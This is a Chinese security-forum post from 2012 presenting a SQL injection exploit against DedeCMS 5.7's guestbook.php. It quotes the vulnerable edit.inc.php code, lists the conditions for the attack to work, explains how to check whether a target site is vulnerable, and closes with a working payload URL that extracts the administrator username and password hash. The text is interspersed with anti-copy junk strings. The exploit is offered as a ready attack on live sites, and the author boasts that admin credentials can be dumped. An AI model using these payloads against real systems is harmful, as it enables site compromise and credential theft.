找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3908|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7: z0 q- @: ^! t1 ?! S

; }+ A- S9 [# p1 f5 h, c& a漏洞文件edit.inc.php具体代码:& E+ s* A) Y0 f

/ w+ V7 w# f* z6 W< ?php  + W% V. g& f% ~7 t+ z4 B
9 w' T# e. J/ D* ?0 l5 y
if(!defined('DEDEINC')) exit('Request Error!');  
$ N  _! a9 i! w& l+ b; G, z% {: }2 b* o! _
   - X$ \* T! _! ?# |5 }

+ H2 }' C4 m! c3 x; uif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  - p( ^  x2 n; Z& ~

; Z7 }$ {3 j6 |/ Ielse $GUEST_BOOK_POS = "guestbook.php";  
+ z  @8 m' l. G1 Y; w
7 F. D6 d! N* n, P   
8 V: y/ u- \: r$ [. ~0 E- s
- }4 v: |" S2 t/ I% f$id = intval($id);  
' n/ C4 J/ J0 S
& J# ]5 ?1 w* I4 f  i, x' E: nif(empty($job)) $job='view';  
6 |1 S' G% E5 E; {
' [' \5 o1 n! @* Y' Q   4 C9 u4 `2 F9 Z

6 B( J! P: ?% V1 i" {5 ^if($job=='del' && $g_isadmin)  
  F5 O* ]. u& u. ~, F" v/ E3 u$ O! l
{  
9 t' S; R3 O2 ?) y/ c% Y$ `5 q" H- H( Z, K" `
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
% G% d5 G: @# U& b' V7 ~
. S! L) E% [+ e  UShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
: _5 q7 Y5 E9 c* G2 J$ @' p
6 I3 W0 Y6 ~2 [" y* p' B, texit();  8 T$ _# N/ R, A, `( c) t
/ u3 {! l2 d) B. k. d; R  n6 F# X
}  ! q, r  a' M) q. K2 d' \1 l
; H% t; V  K7 U8 ?6 F3 h: a1 A- A
else if($job=='check' && $g_isadmin)  ! p8 h6 z5 J3 b- Z1 Y7 i
, g, X4 v% G7 w+ Q
{  
: U! g  [. s) F; v' g  R& Q
5 G* _: s5 Y  c: X5 d$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
1 J0 ^: ~- R  g1 y) b2 k, t$ ]4 m* n' z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ) b9 O4 a' ~  k
9 K! y7 e' z9 E
exit();  2 M; n+ ~& w* T" G+ S4 ]8 h: u
7 C2 V4 X  }) x# e$ m
}  ; o; p$ E" M  j/ S- o  }6 f

+ X( r4 @: T% N( t4 R; J( H. felse if($job=='editok')  
# J# U- [% W4 J8 L8 T1 W8 I1 S8 P$ J, y/ ?# K3 }
{  
# a) o, F0 O, \1 a( a
$ G' J$ X. T) V$remsg = trim($remsg);  
/ a0 q* F, E* i$ x. P1 N
' b+ b( n; z' [' P; a4 ~: \if($remsg!='')  0 n9 V) Y  h* b- a7 a7 ~# ~

- T3 `3 R- W! B( D# p# U! H{  4 G; z$ G1 o: [6 O- c

9 o) J# t3 U. e0 |3 S6 V3 B8 X//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( I; S3 C, R  N; K# x( S; N0 q" |1 }
if($g_isadmin)  
, {$ `& C/ Z6 z" E+ q& L  i+ K: @
{  4 u, W" q  Q. n! g4 F( z  g

1 I" j5 ~7 ^) \$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
/ S0 E! ?1 p7 M6 d5 n: a2 O- o6 i, {0 `( j$ T
//$remsg <br /><font color=red>管理员回复:</font> }  ! I! `4 g+ U3 y& t: ~

8 ]8 S4 t. a4 o9 y7 }" P) helse
) e7 J$ a9 _( ^. e# C; i5 U- E+ F/ o% A$ i' c3 `" _
{  
7 Q+ {% A3 _2 {2 ~0 G7 j; N7 w0 k9 i2 i- i' x) ]; ^
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
$ {9 a1 D& a& D7 r2 o& U  t2 K
2 ^" A) B  [8 G& B3 M* \$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  1 a9 W! H5 U6 B9 G9 b( u

) D, n6 P! A  }( S0 O( i$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  - I) }& `1 z' f; Y
& o6 V! Q+ ]' D4 Q) f; b3 r
$msg = $oldmsg.$remsg;  + t, [. ^9 y! T$ \. ?1 x
/ L3 z6 W! X6 q% F9 I$ [
}  : i& G* Y* J4 A4 V: a
+ w8 @7 k! U  R! `( w
}  
; l% q# X3 x0 z. K3 l1 I1 A1 d2 k! f, H, u% v- G& v- S
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
% k, m. Q* {3 r
  l5 m0 @: N: @& f- ~$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
- M, U( C" }+ m4 R" r* x2 n# M  I& L. w* z& W$ _- \: w: h* R
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
# n9 c* `6 |. v! S
7 c- _  E7 X5 G8 b! \+ k9 Eexit();  % g3 B! @' t, K) r

: R. W6 T! m! i# w" e}  7 S# R% d9 S# L6 ]' \5 D  c. k
# s/ v+ x: o3 ?4 C
//home:www.errs.cc  " p1 W8 _4 W) ~1 p0 b

" a# }6 ^  \( _% {# `. g# ?/ sif($g_isadmin)    v8 p& u6 {4 r
# \% e# e. a6 m
{  & [4 ~* `. M# {/ x7 E$ m- g- `
8 E% r' Y9 K2 c$ C: F
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  1 S* Z% P, N9 ]3 A: R

2 o) i  S8 ]: H- Urequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  " z4 w. K' `6 }

2 ?+ R5 S& }; s$ K3 \, I& e}  
# E$ E" L& L! d9 f5 l6 F, I% g; q4 Y& I% h/ W& U- ?- T
else $ D7 ~, b$ _) q% ~

# h8 m0 z& M4 M) l{  
5 J. w, T, J( g( f/ W+ W- m5 e% {9 @+ K& ]* [! z4 j2 z' B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  , J! u" m6 t/ o- G
& Z1 _) C  g2 O) H, P( X7 b# `
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  ( o  U* l! }7 n2 }9 W
7 t" m: W  [; B- p" J
} 漏洞成功需要条件:
7 d+ |3 ]6 h4 V$ y8 n) Y, \! Y1. php magic_quotes_gpc=off
9 g/ g, ?/ Q+ G' R7 J& g2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 J& s; N, x1 N6 z4 `
$ F4 U9 N# }* n- N# T) X- ~8 c怎么判断是否存在漏洞:
) s8 D- J% Y6 w/ m! j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,3 k* `, `+ I" B: o4 I& y& p; b" i8 @/ F
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% _% ~/ ?' V& f0 L, i2 Z+ q7 l访问:; H# m  O% N+ U" ?, _# z# M0 X5 q& @
. U# S, V% O3 J* |( K
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了! D9 k9 G" |) b% |) t# i( ?8 T
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, f( R  {0 H0 I" i& i: P8 S+ i6 n2 D
9 \1 Z. e. J( Q& W- a! u
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# o* [; y+ T. x4 o如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。. B' g# i8 E2 w" Y" m- _( N
那么再次访问- N7 L8 [5 w4 \2 ^

, o* ?& r# p" F3 ~www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().0 {) G9 |7 W% ^  n3 _" R5 C
; Q& F  l$ ]5 J0 _
大概利用就是这样,大家有兴趣的多研究下!!
! s1 ~* H/ h2 D& U6 n" |3 k6 U. K1 T( A  i* r! c
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% ?6 p$ c5 G4 Z& g8 f9 w* w+ f/ s$ m/ [2 e! }4 T2 |
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表